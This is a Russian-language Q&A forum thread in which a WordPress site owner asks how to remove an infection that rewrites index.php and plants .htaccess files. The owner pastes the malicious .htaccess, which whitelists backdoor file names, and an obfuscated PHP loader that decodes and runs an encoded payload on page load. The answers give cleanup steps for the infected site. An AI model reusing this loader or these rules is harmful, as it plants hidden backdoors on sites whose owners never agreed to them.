Вирус генерирует htaccess и заражает сайт на wordpress. Как исправить?

Добрый день, есть сайт на wordpress в нем сел вирус, который генерирует файлы htaccess во всех папках и изменяет код index.php. Не могу определить заразу

<FilesMatch ".(PhP|php5|suspected|phtml|py|exe|php)$">
 Order allow,deny
 Deny from all
</FilesMatch>
<FilesMatch "^(postfs.php|votes.php|index.php|wjsindex.php|lock666.php|font-editor.php|ms-functions.php|contents.php|jsdindex.php|wp-login.php|load.php)$">
 Order allow,deny
 Allow from all
</FilesMatch>
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [L]
</IfModule>


<?php $RZXiMOEbYmVH='y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';$q2866=$RZXiMOEbYmVH[(105/15)].$RZXiMOEbYmVH[(26-1)].$RZXiMOEbYmVH[(1*49)].$RZXiMOEbYmVH[((10*1)+18)].$RZXiMOEbYmVH[(14+22)].$RZXiMOEbYmVH[(44+5)].$RZXiMOEbYmVH[(44-13)].$RZXiMOEbYmVH[(684/18)].$RZXiMOEbYmVH[(23+4)].$RZXiMOEbYmVH[(72-(33-7))].$RZXiMOEbYmVH[(154/22)].$RZXiMOEbYmVH[(11+25)].$RZXiMOEbYmVH[(65-(62-31))].$RZXiMOEbYmVH[(26-6)].$RZXiMOEbYmVH[((27*2)-8)];$pHFdNhg9688=$RZXiMOEbYmVH[(20-9)].$RZXiMOEbYmVH[(2*4)].$RZXiMOEbYmVH[(29*1)].$RZXiMOEbYmVH[(160/4)];$MYtraky2482=$RZXiMOEbYmVH[(8*5)].$RZXiMOEbYmVH[((1+0)+2)].$RZXiMOEbYmVH[(6+(1*(95/19)))].$RZXiMOEbYmVH[(140/5)].$RZXiMOEbYmVH[(522/18)].$RZXiMOEbYmVH[(7*((7-3)-2))].$RZXiMOEbYmVH[(2*14)].$RZXiMOEbYmVH[(138/(2+4))].$RZXiMOEbYmVH[(1029/(378/18))].$RZXiMOEbYmVH[((2*189)/9)].$RZXiMOEbYmVH[(12+(0+0))].$RZXiMOEbYmVH[(31*1)].$RZXiMOEbYmVH[(48/(36/12))].$RZXiMOEbYmVH[(735/15)].$RZXiMOEbYmVH[(0+7)].$RZXiMOEbYmVH[(18+2)].$RZXiMOEbYmVH[(18-(10/5))].$RZXiMOEbYmVH[(735/15)].$RZXiMOEbYmVH[(0+(2-(1*1)))].$RZXiMOEbYmVH[(16-(3+(36/(0+18))))].$RZXiMOEbYmVH[((167-23)/18)].$RZXiMOEbYmVH[(0+(18-9))].$RZXiMOEbYmVH[(1*3)].$RZXiMOEbYmVH[(11*(1+(0/(78/13))))].$RZXiMOEbYmVH[(2*7)].$RZXiMOEbYmVH[(29*(0+1))].$RZXiMOEbYmVH[(38-(8+9))].$RZXiMOEbYmVH[(15*2)].$RZXiMOEbYmVH[(45-11)].$RZXiMOEbYmVH[(1*46)].$RZXiMOEbYmVH[(1*(17+21))].$RZXiMOEbYmVH[(78/3)].$RZXiMOEbYmVH[(21+(77/11))].$RZXiMOEbYmVH[(22+14)].$RZXiMOEbYmVH[(343/(91/13))].$RZXiMOEbYmVH[(1*1)].$RZXiMOEbYmVH[(21-10)].$RZXiMOEbYmVH[(22+(12/2))].$RZXiMOEbYmVH[(180/20)].$RZXiMOEbYmVH[(3+((0+0)*1))].$RZXiMOEbYmVH[(686/(126/9))].$RZXiMOEbYmVH[(61-(32-8))].$RZXiMOEbYmVH[(476/17)].$RZXiMOEbYmVH[((4-0)+22)].$RZXiMOEbYmVH[(((23-(2*5))/13)-0)].$RZXiMOEbYmVH[(7+(84/21))].$RZXiMOEbYmVH[(28/2)].$RZXiMOEbYmVH[(9-0)].$RZXiMOEbYmVH[(3*1)];$UrR1094= "'7Rxpd9s28rP9K2g+v1Da0pScu7blxEmUY19ieyVld/PaLB9NQhLXFKElKctK6/++M7gIXrKcpK/dQ6+xcMyFwWAwA0AlS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IxynKSX8Ld/7XGeLxdpRuH7DDYIeg1D6HyialArz18hzwW4xBVvisgkxa/lfA/YXoVeBLXTReZPETDz/MuBN7vgoo+mhKlPqKwiCniYyMgoRRIf/rx/n0t0Cv4j8cZcqe/6LxNvycn97Q3JGDgTwEsuwhgKr8N0aqQEeZiweKBxAnRwHV14YbDAgkcjS3ThN9f5Cw50Mk3IOMVK7YLTLOg/f8XxyIa9AeYrjj0W2+gpsBzEThGnsNqqD4Nl10bPg28FrnkkrHiXR1J+L1wgrr8aztUpnw4XSBXeD6t3Efn7EflUQO0A+s+K+HOS0lsS5rACVBUeddRB4Gc5xYy9xS/KABaffXDYaZv/pJXNc/3dWfHH73icxZJ3dpDAf/2HxZ2e6ZiFmmM2/X8axCh/+oxJAFbudjLMFC7FPyybcUX7wAn1/m8='";$JTx2343=$pHFdNhg9688;$JTx2343.=$UrR1094;$JTx2343.=$MYtraky2482;@$mEriqO3481=$q2866((''), ($JTx2343));@$mEriqO3481(); ?>
<?php
define( 'WP_USE_THEMES', true );
require __DIR__ . '/wp-blog-header.php';
  • Вопрос задан
  • 283 просмотра
Решения вопроса 1
Zettabyte
@Zettabyte
Проф. восстановление данных ▪ Вопрос? См. профиль
генерирует файлы htaccess во всех папках

Удалить их можно через SSH, командой ниже, только путь на свой поправьте и убедитесь, что нужный(-е) htaccess(-ы) не снесёте:
find /home/.../papka_saita -type f -name ".htaccess" -delete

Вот расшифровка обфусцированного кода, изучите, возможно, поможет разобраться: https://pastebin.com/C4dk2WAX

Но по-хорошему, совет выше верный - удаляйте краденое, перезаливайте сайт, обновляйте имеющееся, перепроверяйте оставшееся.
Ответ написан
Пригласить эксперта
Ответы на вопрос 2
artzolin
@artzolin Куратор тега WordPress
php, WordPress разработка сайтов zolin.digital
  1. Удалить нуленые (пиратские) плагины и темы
  2. Почистить базу
  3. Перезалить файлы ядра, темы и плагинов
  4. Если тема самописная, перебрать файлы руками на наличие в ней чужого кода
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы